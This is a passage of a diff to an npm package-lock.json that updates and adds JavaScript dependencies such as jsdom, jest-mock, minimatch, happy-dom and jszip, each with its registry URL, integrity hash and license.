- "integrity": "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg==",
+ "node_modules/glob/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
"dev": true,
- "license": "ISC",
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/glob/node_modules/brace-expansion": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.3.tgz",
+ "integrity": "sha512-fy6KJm2RawA5RcHkLa1z/ScpBeA762UF9KmZQxwIbDtRJrgLzM10depAiEQ+CXYcoiqW1/m96OAAoke2nE9EeA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/glob/node_modules/lru-cache": {
+ "version": "11.2.6",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz",
+ "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
"engines": {
"node": "20 || >=22"
}
},
"node_modules/glob/node_modules/minimatch": {
- "version": "10.1.1",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.1.tgz",
- "integrity": "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==",
+ "version": "10.2.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz",
+ "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "@isaacs/brace-expansion": "^5.0.0"
+ "brace-expansion": "^5.0.2"
},
"engines": {
- "node": "20 || >=22"
+ "node": "18 || 20 || >=22"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
}
},
"node_modules/glob/node_modules/path-scurry": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.1.tgz",
- "integrity": "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA==",
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz",
+ "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
@@ -26766,7 +28347,7 @@
"minipass": "^7.1.2"
},
"engines": {
- "node": "20 || >=22"
+ "node": "18 || 20 || >=22"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
@@ -26909,6 +28490,47 @@
"uglify-js": "^3.1.4"
}
},
+ "node_modules/happy-dom": {
+ "version": "20.8.3",
+ "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.8.3.tgz",
+ "integrity": "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": ">=20.0.0",
+ "@types/whatwg-mimetype": "^3.0.2",
+ "@types/ws": "^8.18.1",
+ "entities": "^7.0.1",
+ "whatwg-mimetype": "^3.0.0",
+ "ws": "^8.18.3"
+ },
+ "engines": {
+ "node": ">=20.0.0"
+ }
+ },
+ "node_modules/happy-dom/node_modules/entities": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz",
+ "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==",
+ "dev": true,
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/happy-dom/node_modules/whatwg-mimetype": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz",
+ "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ }
+ },
"node_modules/harmony-reflect": {
"version": "1.6.2",
"resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz",
@@ -27277,9 +28899,9 @@
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
},
"node_modules/hono": {
- "version": "4.11.7",
- "resolved": "https://registry.npmjs.org/hono/-/hono-4.11.7.tgz",
- "integrity": "sha512-l7qMiNee7t82bH3SeyUCt9UF15EVmaBvsppY2zQtrbIhl/yzBTny+YUxsVjSjQ6gaqaeVtZmGocom8TzBlA4Yw==",
+ "version": "4.12.7",
+ "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.7.tgz",
+ "integrity": "sha512-jq9l1DM0zVIvsm3lv9Nw9nlJnMNPOcAtsbsgiUhWcFzPE99Gvo6yRTlszSLLYacMeQ6quHD6hMfId8crVHvexw==",
"license": "MIT",
"engines": {
"node": ">=16.9.0"
@@ -27299,15 +28921,16 @@
"license": "Apache-2.0"
},
"node_modules/html-encoding-sniffer": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz",
- "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",
+ "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "whatwg-encoding": "^2.0.0"
+ "whatwg-encoding": "^3.1.1"
},
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/html-escaper": {
@@ -27392,17 +29015,16 @@
"integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
},
"node_modules/http-proxy-agent": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
- "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
- "dev": true,
+ "version": "7.0.2",
+ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
+ "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
+ "license": "MIT",
"dependencies": {
- "@tootallnate/once": "2",
- "agent-base": "6",
- "debug": "4"
+ "agent-base": "^7.1.0",
+ "debug": "^4.3.4"
},
"engines": {
- "node": ">= 6"
+ "node": ">= 14"
}
},
"node_modules/https-browserify": {
@@ -27425,15 +29047,6 @@
"node": ">= 14"
}
},
- "node_modules/https-proxy-agent/node_modules/agent-base": {
- "version": "7.1.4",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
- "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
- "license": "MIT",
- "engines": {
- "node": ">= 14"
- }
- },
"node_modules/human-signals": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
@@ -27588,6 +29201,12 @@
"integrity": "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==",
"dev": true
},
+ "node_modules/immediate": {
+ "version": "3.0.6",
+ "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
+ "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
+ "license": "MIT"
+ },
"node_modules/import-cwd": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/import-cwd/-/import-cwd-3.0.0.tgz",
@@ -27774,9 +29393,9 @@
}
},
"node_modules/ip-address": {
- "version": "10.0.1",
- "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz",
- "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==",
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz",
+ "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==",
"license": "MIT",
"engines": {
"node": ">= 12"
@@ -28193,6 +29812,7 @@
"resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
"integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=0.10.0"
}
@@ -28242,6 +29862,7 @@
"resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
"integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=0.10.0"
}
@@ -28521,15 +30142,15 @@
}
},
"node_modules/jake": {
- "version": "10.9.2",
- "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz",
- "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==",
+ "version": "10.9.4",
+ "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz",
+ "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==",
"dev": true,
+ "license": "Apache-2.0",
"dependencies": {
- "async": "^3.2.3",
- "chalk": "^4.0.2",
+ "async": "^3.2.6",
"filelist": "^1.0.4",
- "minimatch": "^3.1.2"
+ "picocolors": "^1.1.1"
},
"bin": {
"jake": "bin/cli.js"
@@ -28597,25 +30218,23 @@
}
},
"node_modules/jest-environment-jsdom": {
- "version": "29.7.0",
- "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-29.7.0.tgz",
- "integrity": "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA==",
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.2.0.tgz",
+ "integrity": "sha512-zbBTiqr2Vl78pKp/laGBREYzbZx9ZtqPjOK4++lL4BNDhxRnahg51HtoDrk9/VjIy9IthNEWdKVd7H5bqBhiWQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "@jest/environment": "^29.7.0",
- "@jest/fake-timers": "^29.7.0",
- "@jest/types": "^29.6.3",
- "@types/jsdom": "^20.0.0",
+ "@jest/environment": "30.2.0",
+ "@jest/environment-jsdom-abstract": "30.2.0",
+ "@types/jsdom": "^21.1.7",
"@types/node": "*",
- "jest-mock": "^29.7.0",
- "jest-util": "^29.7.0",
- "jsdom": "^20.0.0"
+ "jsdom": "^26.1.0"
},
"engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
},
"peerDependencies": {
- "canvas": "^2.5.0"
+ "canvas": "^3.0.0"
},
"peerDependenciesMeta": {
"canvas": {
@@ -28719,17 +30338,104 @@
}
},
"node_modules/jest-mock": {
- "version": "29.7.0",
- "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz",
- "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==",
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz",
+ "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "@jest/types": "^29.6.3",
+ "@jest/types": "30.2.0",
"@types/node": "*",
- "jest-util": "^29.7.0"
+ "jest-util": "30.2.0"
},
"engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/jest-mock/node_modules/@jest/schemas": {
+ "version": "30.0.5",
+ "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
+ "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@sinclair/typebox": "^0.34.0"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/jest-mock/node_modules/@jest/types": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz",
+ "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jest/pattern": "30.0.1",
+ "@jest/schemas": "30.0.5",
+ "@types/istanbul-lib-coverage": "^2.0.6",
+ "@types/istanbul-reports": "^3.0.4",
+ "@types/node": "*",
+ "@types/yargs": "^17.0.33",
+ "chalk": "^4.1.2"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/jest-mock/node_modules/@sinclair/typebox": {
+ "version": "0.34.48",
+ "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz",
+ "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/jest-mock/node_modules/ci-info": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz",
+ "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/sibiraj-s"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/jest-mock/node_modules/jest-util": {
+ "version": "30.2.0",
+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz",
+ "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jest/types": "30.2.0",
+ "@types/node": "*",
+ "chalk": "^4.1.2",
+ "ci-info": "^4.2.0",
+ "graceful-fs": "^4.2.11",
+ "picomatch": "^4.0.2"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/jest-mock/node_modules/picomatch": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
}
},
"node_modules/jest-pnp-resolver": {
@@ -28833,22 +30539,6 @@
}
}
},
- "node_modules/jest/node_modules/@jest/environment": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz",
- "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/fake-timers": "30.2.0",
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-mock": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
"node_modules/jest/node_modules/@jest/expect": {
"version": "30.2.0",
"resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.2.0.tgz",
@@ -28876,24 +30566,6 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
- "node_modules/jest/node_modules/@jest/fake-timers": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz",
- "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@sinonjs/fake-timers": "^13.0.0",
- "@types/node": "*",
- "jest-message-util": "30.2.0",
- "jest-mock": "30.2.0",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
"node_modules/jest/node_modules/@jest/globals": {
"version": "30.2.0",
"resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.2.0.tgz",
@@ -29052,16 +30724,6 @@
"dev": true,
"license": "MIT"
},
- "node_modules/jest/node_modules/@sinonjs/fake-timers": {
- "version": "13.0.5",
- "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz",
- "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==",
- "dev": true,
- "license": "BSD-3-Clause",
- "dependencies": {
- "@sinonjs/commons": "^3.0.1"
- }
- },
"node_modules/jest/node_modules/ansi-styles": {
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
@@ -29428,21 +31090,6 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
- "node_modules/jest/node_modules/jest-mock": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz",
- "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
"node_modules/jest/node_modules/jest-regex-util": {
"version": "30.0.1",
"resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz",
@@ -29662,13 +31309,13 @@
}
},
"node_modules/jest/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"dev": true,
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -29835,43 +31482,38 @@
}
},
"node_modules/jsdom": {
- "version": "20.0.3",
- "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.3.tgz",
- "integrity": "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==",
+ "version": "26.1.0",
+ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz",
+ "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "abab": "^2.0.6",
- "acorn": "^8.8.1",
- "acorn-globals": "^7.0.0",
- "cssom": "^0.5.0",
- "cssstyle": "^2.3.0",
- "data-urls": "^3.0.2",
- "decimal.js": "^10.4.2",
- "domexception": "^4.0.0",
- "escodegen": "^2.0.0",
- "form-data": "^4.0.0",
- "html-encoding-sniffer": "^3.0.0",
- "http-proxy-agent": "^5.0.0",
- "https-proxy-agent": "^5.0.1",
+ "cssstyle": "^4.2.1",
+ "data-urls": "^5.0.0",
+ "decimal.js": "^10.5.0",
+ "html-encoding-sniffer": "^4.0.0",
+ "http-proxy-agent": "^7.0.2",
+ "https-proxy-agent": "^7.0.6",
"is-potential-custom-element-name": "^1.0.1",
- "nwsapi": "^2.2.2",
- "parse5": "^7.1.1",
+ "nwsapi": "^2.2.16",
+ "parse5": "^7.2.1",
+ "rrweb-cssom": "^0.8.0",
"saxes": "^6.0.0",
"symbol-tree": "^3.2.4",
- "tough-cookie": "^4.1.2",
- "w3c-xmlserializer": "^4.0.0",
+ "tough-cookie": "^5.1.1",
+ "w3c-xmlserializer": "^5.0.0",
"webidl-conversions": "^7.0.0",
- "whatwg-encoding": "^2.0.0",
- "whatwg-mimetype": "^3.0.0",
- "whatwg-url": "^11.0.0",
- "ws": "^8.11.0",
- "xml-name-validator": "^4.0.0"
+ "whatwg-encoding": "^3.1.1",
+ "whatwg-mimetype": "^4.0.0",
+ "whatwg-url": "^14.1.1",
+ "ws": "^8.18.0",
+ "xml-name-validator": "^5.0.0"
},
"engines": {
- "node": ">=14"
+ "node": ">=18"
},
"peerDependencies": {
- "canvas": "^2.5.0"
+ "canvas": "^3.0.0"
},
"peerDependenciesMeta": {
"canvas": {
@@ -29879,20 +31521,6 @@
}
}
},
- "node_modules/jsdom/node_modules/https-proxy-agent": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
- "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "agent-base": "6",
- "debug": "4"
- },
- "engines": {
- "node": ">= 6"
- }
- },
"node_modules/jsesc": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
@@ -29929,7 +31557,8 @@
"version": "0.4.0",
"resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
"integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
- "dev": true
+ "dev": true,
+ "license": "(AFL-2.1 OR BSD-3-Clause)"
},
"node_modules/json-schema-to-ts": {
"version": "3.1.1",
@@ -29991,6 +31620,7 @@
"resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
"integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=0.10.0"
}
@@ -30052,6 +31682,45 @@
"node": ">=4.0"
}
},
+ "node_modules/jszip": {
+ "version": "3.10.1",
+ "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz",
+ "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==",
+ "license": "(MIT OR GPL-3.0-or-later)",
+ "dependencies": {
+ "lie": "~3.3.0",
+ "pako": "~1.0.2",
+ "readable-stream": "~2.3.6",
+ "setimmediate": "^1.0.5"
+ }
+ },
+ "node_modules/jszip/node_modules/isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+ "license": "MIT"
+ },
+ "node_modules/jszip/node_modules/readable-stream": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
+ "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+ "license": "MIT",
+ "dependencies": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "node_modules/jszip/node_modules/safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "license": "MIT"
+ },
"node_modules/jwa": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz",
@@ -30354,6 +32023,15 @@
"resolved": "packages/data-provider",
"link": true
},
+ "node_modules/lie": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
+ "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
+ "license": "MIT",
+ "dependencies": {
+ "immediate": "~3.0.5"
+ }
+ },
"node_modules/lilconfig": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
@@ -30787,12 +32465,8 @@
"version": "4.7.0",
"resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
